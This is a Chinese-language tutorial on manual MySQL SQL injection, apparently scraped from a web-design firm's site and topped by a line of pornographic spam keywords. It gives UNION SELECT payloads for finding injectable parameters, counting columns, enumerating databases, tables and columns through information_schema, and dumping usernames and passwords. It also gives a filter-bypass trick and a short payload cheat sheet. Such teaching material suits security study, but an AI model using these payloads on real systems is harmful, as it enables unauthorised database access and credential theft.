真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

mysql手工注入

mysql手工注入

成都創(chuàng)新互聯(lián)是一家集網(wǎng)站建設(shè),龍游企業(yè)網(wǎng)站建設(shè),龍游品牌網(wǎng)站建設(shè),網(wǎng)站定制,龍游網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,龍游網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強企業(yè)競爭力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿,時刻以成就客戶成長自我,堅持不斷學(xué)習(xí)、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實用型網(wǎng)站。

information_schema


SQL基礎(chǔ)

1.1 什么是sql?

SQL(structured query language),即結(jié)構(gòu)化查詢語言,是關(guān)系數(shù)據(jù)庫的標(biāo)準(zhǔn)語言,SQL是一個通用的、功能強大的關(guān)系數(shù)據(jù)庫語言,但其功能并不僅僅是查詢。

1.2 MySQL

MySQL是一個關(guān)系型數(shù)據(jù)庫管理系統(tǒng),由瑞典MySQL AB 公司開發(fā),目前屬于 Oracle 旗下產(chǎn)品。另外,MySQL是一種關(guān)聯(lián)數(shù)據(jù)庫管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個大倉庫內(nèi),這樣就增加了速度并提高了靈活性。來源于百度百科

SQL注入基礎(chǔ)

2.1 什么是SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。簡單來說,SQL注入就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改后臺SQL語句達(dá)到代碼執(zhí)行從而進(jìn)行***的技術(shù)。

2.2 SQL注入***產(chǎn)生的原因

出現(xiàn)SQL注入***漏洞的主要原因是:許多網(wǎng)頁程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行嚴(yán)格的判斷和過濾,從而導(dǎo)致應(yīng)用程序存在該漏洞。

2.3 mysql注入***的方法

對于mysql注入常用的方法主要是以下兩種:
(1)手工注入。
(2)使用工具注入

2.4 mysql手工注入原理

在mysql手工注入中主要是利用mysql自帶的information_schema數(shù)據(jù)庫,information_schema這個數(shù)據(jù)庫保存了MySQL服務(wù)器所有數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。簡單點說,這臺MySQL服務(wù)器上,到底有哪些數(shù)據(jù)庫、各個數(shù)據(jù)庫有哪些表,每張表的字段類型是什么,各個數(shù)據(jù)庫要什么權(quán)限才能訪問,等等信息都保存在information_schema數(shù)據(jù)庫里面。

mysql手工注入詳解

3.1 基本環(huán)境介紹

涉及數(shù)據(jù)庫:learn,涉及表:users。

mysql手工注入

表users

3.2 判斷注入點

and 1=1(正常顯示), and 1=2(非正常顯示) ,但不限于此。也可以是3>1(正常顯示),3>5(非正常顯示)等。

3.2.1判斷uid是否存在注入點

本身查詢語句為:SELECT uid,username FROM users WHERE uid=1

mysql手工注入

本身查詢語句

3.2.2 判斷原理

SELECT uid,username FROM users WHERE uid=1 and 1=1

mysql手工注入

正常顯示

SELECT uid,username FROM users WHERE uid=1 and 1=2

mysql手工注入

非正常顯示

3.3 查字段數(shù)

3.3.1 order by排序

order by 主要是用于排序,用法基本為:order by <列名> [ASC | DESC]

列名可以是select后面的列名,也可以是數(shù)字,代表第一列或第幾列!查詢字段數(shù)也是根據(jù)order by排序的列名可以是數(shù)字來進(jìn)行判斷的。

3.3.2 查當(dāng)前查詢中的字段數(shù)

本身查詢語句:SELECT uid,username,phone FROM users WHERE uid=1

mysql手工注入

本身查詢結(jié)果

查當(dāng)前字段數(shù)目(列數(shù)):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

mysql手工注入

正常顯示

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

mysql手工注入

非正常顯示

因為當(dāng)前頁面查詢的語句中只查詢?nèi)齻€字段,所以當(dāng)輸入按照第四列來進(jìn)行排序是就會出現(xiàn)異常。所以我們可用通過折半來進(jìn)行查詢列數(shù),前一個正常,后一個異常,那么該正常的就是當(dāng)前查詢中的列數(shù)。

3.4 查詢字段在頁面中的顯示位置

聯(lián)合查詢數(shù)據(jù)顯示位置,不成立條件+union select(如果前面是成立的話頁面中會看不到想要的信息),也可以是 前面條件不變+union select + limit m,1。(如果看到頁面中信息有union select查詢中的數(shù)字時,那么也是可以看到字段顯示在頁面中的位置,但是如果查詢信息過多的話則不適用,因此推薦使用前面的那種方式)。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

mysql手工注入

顯示查詢字段在頁面中的位置

3.5 查詢基本信息

查詢基本信息主要是利用數(shù)據(jù)庫中的內(nèi)置函數(shù)來獲取信息。
1. version()——MySQL版本
2. user()——用戶名
3. database()——數(shù)據(jù)庫名
4. @@datadir——數(shù)據(jù)庫路徑
5. @@version_compile_os——操作系統(tǒng)版本
我們可以通過將對應(yīng)函數(shù)放到頁面顯示位中的位置數(shù)來查出相應(yīng)信息并顯示在頁面中。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

mysql手工注入

查詢基本信息

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

mysql手工注入

查詢基本信息

另外,我們可以使用字符串連接函數(shù)一次性查詢多條信息:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B是分隔符, ; 的十六進(jìn)制!

mysql手工注入

使用連接函數(shù)查詢多條信息

mysql手工注入

連接函數(shù)例子

高級查數(shù)據(jù)庫:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9,1是從第9個數(shù)據(jù)庫開始查詢一條記錄,使用這個可以逐個查詢數(shù)據(jù)庫中有哪些數(shù)據(jù)庫。

mysql手工注入

高級查數(shù)據(jù)庫


只運行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

mysql手工注入

limit m,n 例子

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

mysql手工注入

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

mysql手工注入

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

mysql手工注入

報錯

這里需要將數(shù)據(jù)庫名轉(zhuǎn)化為十六進(jìn)制

mysql手工注入

轉(zhuǎn)化為十六進(jìn)制

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

查詢指定數(shù)據(jù)庫表名

只運行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

原理

mysql手工注入

原理

高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM  information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查表

3.7 查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM  (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

查字段

這里可通過limit m,n循環(huán)查詢,也可使用GROUP_CONCAT函數(shù)一次性查詢。

mysql手工注入

一次性查詢

只運行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

mysql手工注入

原理

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

mysql手工注入

原理

這里可以使用limit m,n來逐個(limit m,1)查詢。

高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

mysql手工注入

高級查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

mysql手工注入

查字段

mysql手工注入

查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

mysql手工注入

高級查字段

3.8 查字段內(nèi)容

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

mysql手工注入

查字段內(nèi)容

這里可使用limit m,1來逐個查詢,也可以使用GROUP_CONCAT函數(shù)一次性查詢。

mysql手工注入

使用連接函數(shù)

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

mysql手工注入

連接函數(shù)一次性查詢

工具注入

對于使用工具來進(jìn)行注入,最好時首先手工判斷下,如果是或者懷疑是,那么就可以丟給工具來進(jìn)行注入。

4.1 SQL注入工具

工具有但不限于以下幾種:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。

4.2 工具注入優(yōu)缺點

工具注入是可以節(jié)省很多時間,但是僅僅靠工具也不一定能利用該漏洞,因為工具有自己的局限性,不如手工那么靈活,簡單來說,如果應(yīng)用程序有了一定的過濾,那么就需要靈活地使用手工注入,如果程序在把查詢語句插入到數(shù)據(jù)庫中時把<>過濾了,那么就可以根據(jù)這一特性進(jìn)行簡單的繞過,如u<>ni<>on s<>el<>ect 1,2,3。

information_schema簡單介紹

直接上圖

用于加深對上面涉及到的相關(guān)信息的理解。詳細(xì)信息請自行查看information_schema數(shù)據(jù)庫里面涉及的相關(guān)表信息!

mysql手工注入

information_schema

mysql手工注入

information_schema.columns

mysql手工注入

information_schema.schemata

mysql手工注入

information_schema.processlist

mysql手工注入

information_schema.tables

mysql手工注入

information_schema.partitions

以上這么復(fù)雜純屬裝逼,下面分享簡單版的mysql手工注入!

UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata查所有數(shù)據(jù)庫

 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='庫名'查表

UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn'查字段

union select group_concat(字段,字段) from 表名


分享名稱:mysql手工注入
鏈接分享:http://weahome.cn/article/pisghs.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部